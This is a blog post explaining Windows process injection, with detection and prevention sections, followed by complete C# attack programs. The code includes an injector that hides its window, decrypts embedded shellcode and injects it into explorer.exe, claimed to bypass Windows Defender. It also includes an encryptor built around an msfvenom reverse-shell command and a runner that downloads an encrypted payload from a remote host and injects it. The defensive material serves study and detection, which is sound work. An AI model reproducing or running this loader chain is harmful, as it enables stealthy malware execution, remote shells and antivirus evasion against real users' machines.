Process Injection

Written by: Iron Hulk Published: July 20, 2025 Reading time: Iron Hulk
Back to Blogs

بسم الله الرحمن الرحيم


What is Process Injection?

Think of a program file as an instruction manual sitting on disk. The moment the operating-system loader reads that manual and begins following the instructions, the program stops being a passive file and becomes a process: an active, in-memory instance with its own identity (PID), a private virtual-address space, a security context (token), open handles, and a collection of threads that execute its code. The operating system tracks every detail of this living entity in a data structure called the Process Control Block (PCB). From the user’s perspective, a process is the running application; from the kernel’s perspective, it is a container of resources that must be scheduled, protected, and eventually cleaned up.

Key Points:

  • A process is created when a program is launched.
  • It has a unique Process ID (PID) assigned by the operating system.
  • Processes can spawn child processes, forming a hierarchy.

Technique families:

  • Alloc ➜ Write ➜ Run (remote thread, Early-Bird APC)
  • Image replacement (hollowing, ghosting, doppelgänging)
  • Thread hijack (suspend-patch-resume, APC queue)
  • Hook/Callback abuse (SetWindowsHookEx, Ldr callbacks)
  • Reflective mapping (manual DLL map, sRDI)

Detect:

  • RWX page flips
  • ⚠️ remote thread in unknown region
  • 🔍 Sysmon 8/10/11 spikes

Prevent:

  • 🛡️ HVCI / KMCI
  • 🔐 WDAC / AppLocker
  • 🚫 Block PROCESS_VM_WRITE

How Does A Process Start & What Are It's States

When you launch an application, the loader:

  1. 📂 Map binaries: Maps the executable and its DLLs into a fresh address space.
  2. 🗄️ Set up memory: Builds the initial stack, heap, and Thread Environment Block.
  3. Spawn entry thread: Creates the first thread, pointing its instruction pointer at the program’s entry-point

Core states

🆕 New

OS builds internal structures; not yet eligible to run and the process is being created.

🕒 Ready

The process is loaded into memory and waiting for CPU time.

⚙️ Running

The process is executing on the CPU.

⏸️ Waiting/Blocked

The process is paused, waiting for an event (Ex: I/O operation).

🏁 Terminated

The process has finished execution or was forcefully stopped.

💡 Context switches move the CPU between the Ready and Running processes in milliseconds, preserving the illusion that hundreds of programs run simultaneously.

Injection vs Process Injection?

What is injection?

Injection: is the art of sneaking data or code into a context that implicitly trusts its input, think a poisoned SQL statement, command, or script. The interpreter accepts and runs the hostile payload as if it were legitimate logic.

What is process injection?

Process injection: is a method where an attacker inserts malicious code into a legitimate process's memory space. This allows the attacker to execute code under the guise of the legitimate process, bypassing security measures. The main goal is Execute malicious/payload code within a trusted process to, Evade Detection Access the target process’s memory/resources or Escalate Privileges.

Why attackers use it?

  • 🕵️‍♂️ Hides inside trusted binaries to bypass AV/EDR.
  • 🔑 Re-uses the target’s credentials and open network sessions.
  • 📉 Leaves few artefacts, often completely file-less.

Typical flow

  1. Handle access
    PROCESS_VM_WRITE/PROCESS_CREATE_THREAD
  2. Allocate memory
    Uses OS APIs VirtualAllocEx() to allocate memory inside the target process.
  3. Write payload
    Copies malicious code (DLL or shellcode) into that memory WriteProcessMemory
  4. Trigger execution
    Forces the target process to run the payload via CreateRemoteThread().

Why Process Injection Is Dangerous?

A running process inherits the trust and thus the permissions granted to its executable image. By forcing hostile code to execute inside that already-trusted boundary, an attacker gains:


  • 🛡️

    Defense Evasion:
    AV/EDR sensors apply lighter scrutiny to permitted binaries; malware that “lives off the land” inside explorer.exe, lsass.exe, or a signed vendor agent blends into normal telemetry and inherits that binary’s allow-lists and exclusions.

  • 🌐

    Surface Expansion:
    Attackers gain the victim’s open sockets, named pipes, and GUI handles, making exfiltration or C2 traffic look like ordinary application chatter.

  • 👻

    Stealth Persistence:
    Reflective loaders keep everything in-memory. No new executable hits disk, and the malware can re-inject after reboot via innocuous tasks or macros.

  • 📡

    Lateral Movement:
    Attackers can inject into processes on remote systems leveraging RPC, WMI, PsExec, or exploit kits to propagate across the network and widen their foothold.


Process Injection
Blue-Team Signals

Prioritise these high-signal clues to catch injections before they escalate.

Abnormal Handles

Alert on OpenProcess(PROCESS_VM_WRITE | PROCESS_CREATE_THREAD…) where caller ≠ target parent, or when a Medium-integrity process opens a High-integrity target or from Normal User to SYSTEM.

Suspicious memory patterns

Watch for fresh RWX/RX regions, or rapid RW→RX flips with high entropy and no PE header.

API Monitoring

Watch for suspicious calls such as: VirtualAllocEx/WriteProcessMemory/CreateRemoteThread.

Process Relationships

Baseline normal process behavior and flag deviations like msiexec.exe and spawning cmd.exe is not normal.

Logging and EDR

Use Endpoint Detection and Response (EDR) tools to log process creation, memory writes, and thread activity.



💡 Modern EDRs chain these signals with ML models, but blue-teams can approximate with Sysmon + Yara + Windows Defender Attack Surface Reduction (ASR) rules.

Preventing Process Injection

Layered controls that raise the cost of in-memory attacks.

🔒 Least-Privilege Handles:

Run applications and users with minimal permissions with no admin rights.

🧬 OS Hardening:

Disable unnecessary COM/DLL components via Attack Surface Reduction rules.

🛠️ Behavioral Monitoring:

Deploy EDR solutions that analyze process behavior in real-time.

📜 Application Whitelisting:

Enforce WDAC or AppLocker to restrict which binaries can start or load DLLs; and only allow trusted executables.

🚨 Network Segmentation:

Isolate critical systems; restrict lateral movement paths.

🏗️ Patch Management:

Keep operating systems and software updated to fix vulnerabilities exploited for injection.



💡 Process injection is a versatile and stealthy attack technique, but understanding its mechanics, detection methods, and prevention strategies can significantly reduce the risk. No single control is absolute, so combining technical controls such as policy, prevention, detection, correction, will help in mitigating the attack.

Process Injection Techniques

Technique How It Works Primary Use-Case
DLL Injection Forces target to load a malicious DLL via LoadLibrary() Stealth payload execution
Reflective DLL Maps and calls the DLL entirely from memory without touching disk EDR file-scan evasion
Process Hollowing Overwrites a suspended process’s memory (e.g., notepad.exe) with malware Ransomware deployment
APC Injection Queues malicious code in an Asynchronous Procedure Call to victim threads Living-off-the-land attacks
Thread Exec Hijack Redirects an existing thread’s instruction pointer to shellcode Thread-based detection bypass
Early-Bird APC Injects code before the target’s main thread starts executing Runtime-hook evasion
Herpaderping Abuses process-creation race conditions to hide the malicious image Disk-forensic evasion

Process Injection Walkthrough

  1. 1

    Attach to the Running Process

    Call OpenProcess() or NtOpenProcess to get a handle to the target process with PROCESS_VM_WRITE & PROCESS_CREATE_THREAD.
    Why: Grants you permission to modify memory and start threads inside the targeted process.

  2. 2

    Allocate Memory

    Use VirtualAllocEx() to allocate an RW region in the targeted process.
    Why: Provides a safe, private space to drop your payload without corrupting existing data.

  3. 3

    Write the Payload

    Call WriteProcessMemory() to copy your shellcode or reflective stub into the allocated pages.
    Why: Places the executable instructions inside the target’s address space.

  4. 4

    Change to Execute

    Invoke VirtualProtectEx() to switch pages to PAGE_EXECUTE_READ.
    Why: Tthe CPU will run your code.

  5. 5

    Trigger Execution

    Call CreateRemoteThread(), or an APC Injection, or thread hijack to hand control to your code.
    Why: Launches the payload inside the process, inheriting its trust and privileges.


C# project: Process Injection

This has been tested and will bypass windows defender.

Hardcoded Shellcode

We have used the same encryption project from Payload Encryption.

                    
// Project Name: Classic Remote Thread Injection  - Hardcoded shellcode
// By: Iron Hulk

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;

class Win32
{
    [DllImport("kernel32")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, Int32 flAllocationType, Int32 flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, int flNewProtect, out int lpflOldProtect);

    [DllImport("kernel32")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

    [DllImport("kernel32")]
    public static extern IntPtr GetConsoleWindow();

    [DllImport("user32")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    public const int PROCESS_CREATE_THREAD = 0x0002;
    public const int PROCESS_QUERY_INFORMATION = 0x0400;
    public const int PROCESS_VM_OPERATION = 0x0008;
    public const int PROCESS_VM_WRITE = 0x0020;
    public const int PROCESS_VM_READ = 0x0010;
    public const int MEM_COMMIT = 0x1000;
    public const int PAGE_EXECUTE_READWRITE = 0x40;
    public const int PAGE_EXECUTE_READ = 0x20;
    public const int PAGE_READWRITE = 0x04;
    public const int SW_HIDE = 0;
}

class Program
{
    static void Main(string[] args)
    {
        IntPtr handle = Win32.GetConsoleWindow();
        Win32.ShowWindow(handle, Win32.SW_HIDE);

        // Encrypted payload goes here

        byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3"));
        Enc = Encrypt.AES_Decrypt(Enc, key);
        string procName = "explorer"; // this is the process to be injected, change if needed
        int remoteProcId = GetPid(procName);
        TimeSpan ts = new TimeSpan(0, 0, 10); // Delay Execution for 10 seconds
        Thread.Sleep(ts);
        InjectShellcode(Enc, remoteProcId);

    }

    static int GetPid(string procName)
    {
        int remoteProcId = 0;
        Process[] procs = Process.GetProcesses();
        foreach (Process proc in procs)
        {
            if (proc.ProcessName == procName)
            {
                remoteProcId = proc.Id;
                break;
            }
        }
        return remoteProcId;
    }

    static void InjectShellcode(byte[] shellcode, int remoteProcId)
    {
        IntPtr hProcess = Win32.OpenProcess(Win32.PROCESS_CREATE_THREAD | Win32.PROCESS_QUERY_INFORMATION | Win32.PROCESS_VM_OPERATION |
            Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ, false, remoteProcId);

        IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
        Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
        int oldProtect;
        Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
        Win32.CreateRemoteThread(hProcess, IntPtr.Zero, 0, spaceAddr, IntPtr.Zero, 0, IntPtr.Zero);
    }
}

class Encrypt
{
    public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
    {
        byte[] decryptedBytes = null;
        byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
        using (MemoryStream ms = new MemoryStream())
        {
            using (RijndaelManaged AES = new RijndaelManaged())
            {
                AES.KeySize = 256;
                AES.BlockSize = 128;
                var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                AES.Key = key.GetBytes(AES.KeySize / 8);
                AES.IV = key.GetBytes(AES.BlockSize / 8);
                AES.Mode = CipherMode.CBC;
                using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
                    cs.Close();
                }
                decryptedBytes = ms.ToArray();
            }
        }
        return decryptedBytes;
    }
}


/*

This code performs classic remote thread injection (using CreateRemoteThread()), 
not thread hijacking, APC injection, or other advanced techniques. Let's break it down:

    1 — Locate target: GetPid("explorer") which will find the PID of explorer.exe.
    2 — Anti-UI: GetConsoleWindow → ShowWindow(SW_HIDE), it will hide its own console window for a cleaner launch.
    3 — Decrypt payload: SHA256 → AES_Decrypt, it uses a hard-coded passphrase (“MyK3yG0o0zH3r3”) → SHA-256 → PBKDF2 (1000 iter) 
        to derive AES-256-CBC key+IV and decrypt an embedded byte array (Enc).
    4 — Open remote handle: OpenProcess(PROCESS_VM_WRITE ∣ … ∣ PROCESS_CREATE_THREAD), gains full VM + thread-creation rights on the remote process.
    5 — Allocate memory: VirtualAllocEx(..., MEM_COMMIT, PAGE_READWRITE), it will reserves RW pages in explorer.exe.
    6 — Copy shellcode: WriteProcessMemory, drops the decrypted shellcode into that region.
    7 — Make it executable: VirtualProtectEx(..., PAGE_EXECUTE_READ), it will flip protection so the CPU is allowed to execute it.
    8 — Launch payload: CreateRemoteThread(..., lpStartAddress = spaceAddr) and spawns a new thread whose entry point is the shellcode you just wrote.

*/                  
                    
                    

Download From Remote

Don't for get to start http server if its on your local host.


Encryption
                            
// Project Name: Classic Remote Thread Injection - Encryption
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 EXITFUNC=thread -f raw -o injection.bin
// This will create a new file: injection.enc
// By: Iron Hulk

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

public static class Encryptor
{
    private const int Iterations = 1000;
    private static readonly byte[] Salt = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };

    public static int Main(string[] args)
    {
        if (args.Length != 1)
        {
            Console.WriteLine("[!] Usage: encrypt_shellcode_to_file file");
            return 1;
        }

        string inputPath = args[0];
        if (!File.Exists(inputPath))
        {
            Console.WriteLine("[!] File not found: {0}", inputPath);
            return 2;
        }

        byte[] plain = File.ReadAllBytes(inputPath);
        Console.WriteLine("[<] Shellcode Length: {0} Bytes", plain.Length);

        byte[] passwordBytes;
        using (SHA256 sha = SHA256.Create())
        {
            passwordBytes = sha.ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // ← Encryption Key
        }

        byte[] encrypted = EncryptAes(plain, passwordBytes);
        Console.WriteLine("[+] Encrypted Shellcode Length: {0} Bytes", encrypted.Length);

        string outPath = Path.ChangeExtension(inputPath, ".enc"); // ← save as .enc
        File.WriteAllBytes(outPath, encrypted);
        Console.WriteLine("[>] Encrypted Shellcode Saved in {0}", outPath);

        Console.WriteLine(ToByteArrayLiteral("encryptedShellcode", encrypted));
        return 0;
    }

    private static byte[] EncryptAes(byte[] data, byte[] passwordBytes)
    {
        using (var derive = new Rfc2898DeriveBytes(passwordBytes, Salt, Iterations))
        using (Aes aes = Aes.Create())
        {
            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Mode = CipherMode.CBC;
            aes.Key = derive.GetBytes(aes.KeySize / 8);
            aes.IV = derive.GetBytes(aes.BlockSize / 8);

            using (var ms = new MemoryStream())
            using (var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
            {
                cs.Write(data, 0, data.Length);
                cs.FlushFinalBlock();
                return ms.ToArray();
            }
        }
    }

    private static string ToByteArrayLiteral(string name, byte[] bytes)
    {
        var sb = new StringBuilder();
        sb.Append($"byte[] {name} = new byte[] {{ ");
        for (int i = 0; i < bytes.Length; i++)
        {
            sb.Append("0x").Append(bytes[i].ToString("X2"));
            if (i < bytes.Length - 1) sb.Append(", ");
        }
        sb.Append(" };");
        return sb.ToString();
    }
}
                            
                        

Runner
                        
// Project Name: Classic Remote Thread Injection - Download -> Decryption -> Inject -> Run
// By: Iron Hulk

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;

class W
{
    [DllImport("kernel32")]
    public static extern IntPtr GetConsoleWindow();

    [DllImport("kernel32")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

    [DllImport("kernel32")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("user32")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    public const int PROCESS_CREATE_THREAD = 0x0002;
    public const int PROCESS_QUERY_INFORMATION = 0x0400;
    public const int PROCESS_VM_OPERATION = 0x0008;
    public const int PROCESS_VM_WRITE = 0x0020;
    public const int PROCESS_VM_READ = 0x0010;
    public const int MEM_COMMIT = 0x1000;
    public const int PAGE_EXECUTE_READWRITE = 0x40;
    public const int SW_HIDE = 0;

    public static void HideWindow(IntPtr handle)
    {
        ShowWindow(handle, SW_HIDE);
    }
}

class Program
{
    public static void Main(string[] a)
    {
        IntPtr h = W.GetConsoleWindow();
        W.HideWindow(h);

        // Download encrypted payload
        byte[] encryptedPayload = DownloadPayload("http://10.10.10.10/injection.enc"); // ← CHANGE THIS

        // Get decryption key
        byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // ← Decryption key

        // Decrypt payload
        byte[] decryptedPayload = Decryption.AES_Decrypt(encryptedPayload, key);

        string procName = "explorer"; // ← The targeted process
        int r = GetPid(procName);

        Thread.Sleep(new TimeSpan(0, 0, 2)); // ← Deley execution for 2 seconds

        // Inject into target process
        InjectShellcode(decryptedPayload, r);
    }

    static byte[] DownloadPayload(string url)
    {
        using (WebClient client = new WebClient())
        {
            return client.DownloadData(url);
        }
    }

    static int GetPid(string procName)
    {
        foreach (Process proc in Process.GetProcesses())
        {
            if (proc.ProcessName.Equals(procName, StringComparison.OrdinalIgnoreCase))
            {
                return proc.Id;
            }
        }
        return 0;
    }

    static void InjectShellcode(byte[] shellcode, int remoteProcId)
    {
        IntPtr hProcess = W.OpenProcess(
            W.PROCESS_CREATE_THREAD | W.PROCESS_QUERY_INFORMATION |
            W.PROCESS_VM_OPERATION | W.PROCESS_VM_WRITE | W.PROCESS_VM_READ,
            false,
            remoteProcId
        );

        IntPtr spaceAddr = W.VirtualAllocEx(
            hProcess,
            IntPtr.Zero,
            shellcode.Length,
            W.MEM_COMMIT,
            W.PAGE_EXECUTE_READWRITE
        );

        W.WriteProcessMemory(
            hProcess,
            spaceAddr,
            shellcode,
            new IntPtr(shellcode.Length),
            0
        );

        W.CreateRemoteThread(
            hProcess,
            IntPtr.Zero,
            0,
            spaceAddr,
            IntPtr.Zero,
            0,
            IntPtr.Zero
        );
    }
}

class Decryption
{
    public static byte[] AES_Decrypt(byte[] encryptedData, byte[] passwordBytes)
    {
        byte[] salt = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
        const int iterations = 1000;

        using (Aes aes = Aes.Create())
        {
            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Mode = CipherMode.CBC;

            using (var deriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, iterations))
            {
                aes.Key = deriveBytes.GetBytes(aes.KeySize / 8);
                aes.IV = deriveBytes.GetBytes(aes.BlockSize / 8);
            }

            using (var ms = new MemoryStream())
            {
                using (var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(encryptedData, 0, encryptedData.Length);
                }
                return ms.ToArray();
            }
        }
    }
}
                            
                        

Upgrade the attack to do:

  • Hijack an existing thread.
  • Hook Injection.
  • Process Hollowing.
  • Queue an APC injection.
  • Overwrite a callback entry point.